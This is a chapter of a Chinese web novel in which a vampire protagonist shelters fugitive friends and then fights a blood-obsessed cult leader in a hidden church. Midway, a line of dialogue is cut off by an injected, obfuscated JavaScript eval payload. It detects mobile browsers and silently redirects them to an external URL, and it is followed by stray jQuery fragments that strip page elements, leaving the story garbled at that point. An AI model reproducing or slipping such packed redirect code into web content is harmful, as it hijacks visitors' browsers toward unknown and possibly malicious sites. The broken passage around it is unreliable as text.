林克斯合上被开了一半的下层冰箱，一边想着几人大抵还没注意到底下的血浆袋。


    幸好赫兰离开前还留有一些人类的食物。


    “额……鸡蛋？”他拿出了一袋人造蛋。


    “有没有什么主食？”莫塞拉接了过去。


    他又捣鼓一阵：“面包，还有培根……”


    厨房的灯亮了起来。


    夏莉牵着贝儿坐在了沙发上，她头上五颜六色的发卡已经被拿掉了，指甲油也被被蹭花。


    饮水机咕嘟一声，贝儿捧着杯子一饮而尽。


    “你不问些什么吗？”夏莉拆了一袋包装食品递给她，有些局促地说道。


    “我看到了最新通缉令。”林克斯耸耸肩，表示自己并不在意。


    他们心照不宣地没有继续这个话题。


    直到几碗热食被端了上来，也许是不停地奔波，几人都有些灰头土脸。


    林克斯面前也有一碗。


    “贝儿，先吃药。”夏琳打开了一个白色的瓶子。


    “不要，好苦……”虽然嘴上这么说，但在这样的情况下贝儿也没法多抗拒。


    他们挤在了那张小餐桌上，碗碰着碗，有些施展不开，一时间只剩下了急促的吸溜声。


    林克斯把碗里的人造蛋给了贝儿。


    “快说谢谢。”夏琳摸了摸她的脑袋。


    “谢谢玻珠……”贝儿不知道他叫什么，咬着筷子小声说道。


    “噗，他不叫玻珠……”莫塞拉笑了出来。


    “好了，快吃吧！”林克斯当然不会计较那么多。


    几人甚至洗了碗。


    “你们接下来会去哪？”他把烟盒递了过去。


    夏琳夹了一只在指间，没抽。


    “走一步看一步。”她说。


    这里尚处于管控区域内，她们不便停留太久。


    林克斯把冰箱里便于携带的食物都装了起来，规划局会监控通缉者的时间流动，每一笔在外的交易都有暴露的风险。


    “太多了不好带。”几人只带了一小部分。


    “谢啦哥们。”莫塞拉和他拥抱了一下。


    “走了！”她们挥手，从窗户翻了出去，仿佛只是朋友间普通的拜访。


    林克斯站在窗前看着他们流畅地在外墙上穿梭，让他惊讶的是贝儿的动作相当敏捷。


    系统：【仿生人的身体素质和人类没法比。】


    “啧……好吧。”


    周末这个词仿佛在几百年前听到过，而直到现在林克斯才拥有。


    这回他是走了程序才出门，站在漫长的队伍里等待叫号。


    “这是什么？”


    衣袋里的一把折叠刀被掏了出来。


    “水果刀。”林克斯撇了一眼不动声色地说。


    “水果刀么？”警员看着上面的放血槽挑眉。


    “最近都这样了……”


    他把折叠刀还给了林克斯，伸出一只手。


    心神领会地握住，时间在两人间传递。


    “最近确实不太安全。”对方心满意足地收回，意示他可以离开了。


    由于最近的各种政策，街上萧条了很多，走在路上的人们仿佛被装在套子里，与世界分隔开。


    兜兜转转还是回到了那间酒馆，调酒师依旧不厌其烦地擦着杯子。


    “想喝点什么？还是我给您准备？”


    “随便吧。”


    街角的服装店玻璃已被修好，模特换上了新的衣服，仿佛什么也没发生过——如果忽略掉地上未被清理干净的血迹的话。


    “血浆珍么？”那是一杯和昨天差不多颜色的酒，但拿起来仔细一看却更为深红。


    “您尝尝看。”调酒师笑容有些神秘。


    出于警惕，林克斯先嗅闻了一下，与先前的古怪番茄味不同的是，这杯酒闻起来更为“香甜”……


    他缓慢地抿了一口。


    再熟悉不过的血浆味在舌尖绽放。


    高脚凳被踢翻在地。


    林克斯跳了起来，看向调酒师，一只手抓住了那把折叠刀。


    “哎哎，别那么激动嘛……”他把擦了一半的杯子倒扣在吧台上，摘下了白色手套，掌心中醒目的伤口露了出来。


    “……你是谁？”林克斯确信自己从没见过这家伙，他紧紧抿着嘴，却没有逃跑。


    “这并不重要。”调酒师从吧台走了出来。


    林克斯看了一眼身旁的高脚凳，伸腿一钩把它踢向了对方。


    调酒师用手挡住，他身上没有武器。


    落地窗被擦得透明发亮，街上时不时有人路过，两人对视一眼，林克斯收起了折叠刀。


    几息之间，酒馆里的桌子椅子就被掀做一团乱。


    两人纠缠了一会，然后分开，他捂着肚子吸气，对方的脸也挂了彩。


    林克斯发现调酒师的眼睛一直往旁边的酒柜上瞟，他当然不会放过这个机会。


    “唉唉唉，别……”


    随着一阵叮叮当当的响声，柜台上的酒撒了一地。


    他堪堪躲过调酒师手上的玻璃渣，一脚踢到对方膝弯，把他的脸按到了地上，折叠刀抵在了脖颈。


    “你知道我要问什么。”林克斯偏头，吐了一口血沫。


    “额……你们这还营业吗？”门口的风铃响了一声，一个警员走了进来。


    他看起来只是想买杯酒，但看到店里的一片狼藉犹豫着掏了枪。


    林克斯的手松了片刻，调酒师挣扎着站了起来。


    他用手背擦去了脸颊上的血：“当然……您要喝点什么？”酒柜的酒撒了一地。


    对方扫视了一眼只能败兴地离开了：“别给我惹出什么乱子……”


    他刚一走，两人再次打起来。


    林克斯分神片刻，脸上就挨了一拳，双方都留手了，并不想杀了谁。


    “啧。”调酒师摘去脸上的碎玻璃渣，舔了舔牙：“那杯酒好喝吗？”


    林克斯看向对方手上的伤口，脸色有些难看，虽然对血液品质没什么要求，但喝下敌人的血液还是让人心里不舒服。


    系统：【原来是你的狂热粉丝。】它的电子音冰冷。


    “这可不是我的粉丝……还有，这种时候能别说风凉话吗？”


    调酒师跌倒在吧台后面，折叠刀近在咫尺，他的身体却忽然后仰，身后的酒柜从中间裂开，吞没了他的身影。


    “靠……”林克斯猛地踢了一脚，甩开折叠刀企图掰开那合拢的缝隙。


    刀片插在合金板上，却怎么也打不开，他环视四周，吧台后面有一道窄门。


    膝盖先前被磕在了玻璃渣里，每走一步都钻心地疼，理智告诉自己应该离开，但他却不想坐以待毙……


    窄门里没有丝毫灯光，林克斯无法看清任何——他伸出手去触碰，那是一道道从天花板上吊下来的黑色纱帘，层层叠叠遮盖了所有，吸血鬼可没有透视。


    这就麻烦了，耸了耸鼻子，好在他嗅觉敏锐，被黑暗中的一丝血腥味指引着。


    把碍事的纱帘划开，窄门通向的是一个长条型的室内，抬头望去，天花板很高。


    林克斯小心地摸索着，鞋尖忽然碰到了什么硬物，掀开堆叠在一起的纱帘，是一排排长椅。


    “这里……是一处教堂？”


    那家伙大概和纳尔森在一个组织，这就说的通了。


    他把腿搭在椅子上，撕下衣角的碎布，把裸露的，还没来得及愈合的伤口遮盖了一番。


    “如果，我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545451|151693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是说如果，那段录像在整个组织内传遍了，难道我要杀了所有人吗？”林克斯艰难地走着，那堆叠的黑色纱帘仿佛压在了他的心脏上。


    系统：【……】


    教堂的地板是罕见的木质，大概是遗留下来的古董，每走一步都伴随着不堪重负的嘎吱声。


    也许是一直警惕着周围，让林克斯忽略了脚下，木制的地板被侵蚀了大半，半边身体忽然矮了下去，他半条腿陷进了地板里面。


    “底下是中空的？”他不敢乱动，试图轻微抽出腿，然而这动作如同压垮骆驼的最后一根稻草般，一时间木屑掉的厉害。


    他拽住了黑色纱帘，但这东西非常轻薄，根本使不上什么力气。


    林克斯这种时候反倒不着急了，稍稍晃了晃脚尖，他不确定底下有多高……


    系统：【看下面！】


    下面？他凑到了卡着小腿的洞旁，星点般的亮光透了过来。


    血腥味却越发明显，他先前还以为是自己伤口的味道，但过于浓郁了，像是一汪血池。


    他开始用折叠刀划开木板，这些腐朽的木头很快坍陷大半，林克斯本想等凿出一个洞后再滑下去，但刀片意外碰上了一颗钉子。


    直觉告诉他这不对劲，然而那颗钉子已经在松动的边缘。


    “咯吱咯吱”


    令人牙酸的声音响起，整座教堂的地板开始以林克斯为中心塌陷下去。


    动静牵扯到了天花板上垂坠着的纱帘，它们堆叠着压下来，那些轻盈的纱布，聚在一起却有千斤重，林克斯不可避免地被裹挟在内，朝着底下滚落。


    好在纱帘阻挡了大部分外界的磕碰，虽然被摔得七荤八素，但没什么外伤。


    纱帘还压在他的身上，缠住了四肢，好不容易从地上爬起来，还没等他用刀划破，身体忽然被大力撞倒在地。


    是调酒师，他的手紧紧掐住林克斯的脖子。


    “唉……忘了你不用呼吸了。”


    而此时林克斯也挣脱了纱帘的束缚，朝对方肚子狠狠来了一脚。


    调酒师身体后倾，直接摔在了一个“水”池中。


    血腥味弥漫，他才反应过来这是一池的血水。


    等完全掀去碍事的纱帘，林克斯看清眼前的场景。


    那是一个中等大小的方形池子，里面的液体似乎是流动的，调酒师不知道加了什么东西，让血液一直保持非凝固的状态。


    先前在上面看到的灯光来源于边上的祭坛样的建筑，一个灰扑扑的东西放在上面，林克斯看了几眼才发现那是一个人。


    议员女儿生死不知地躺在一旁。


    好了，面前的调酒师大概是个xie教头子……


    他很快从池子里游了上来，血液从他的发梢滴落，调酒师脸上带着病态的狂热笑容。


    “普通人的血液……非常一般，不知道吸血鬼的怎么样……”他舔了舔嘴唇。


    “再重申一句，我可不能包治百病。”林克斯后退着，到了祭坛旁边。


    摸向口袋里的光脑，看起来又碎了，以后还是得贴个钢化膜才行……


    “你可能不理解，人类对于永生的渴望……”


    “人类已经永生了。”


    “还不够——”调酒师说，他忽然开了枪。


    林克斯可以侧身躲过，但他身后是倚靠在祭坛边上的议员女儿，他只犹豫了一秒，子弹击中了右肩。


    “真是令人羡慕。”调酒师看着对方没有血液渗出的伤口，带着嫉妒的语气。


    “我不会杀了你的。”他忽然用商量的语气说道：“你太珍贵了……我只需要你的一些血液，这对你来说不值一提吧？”他歪头，看向林克斯，脸上病态的笑容不减。


    “你去死吧。”林克斯说。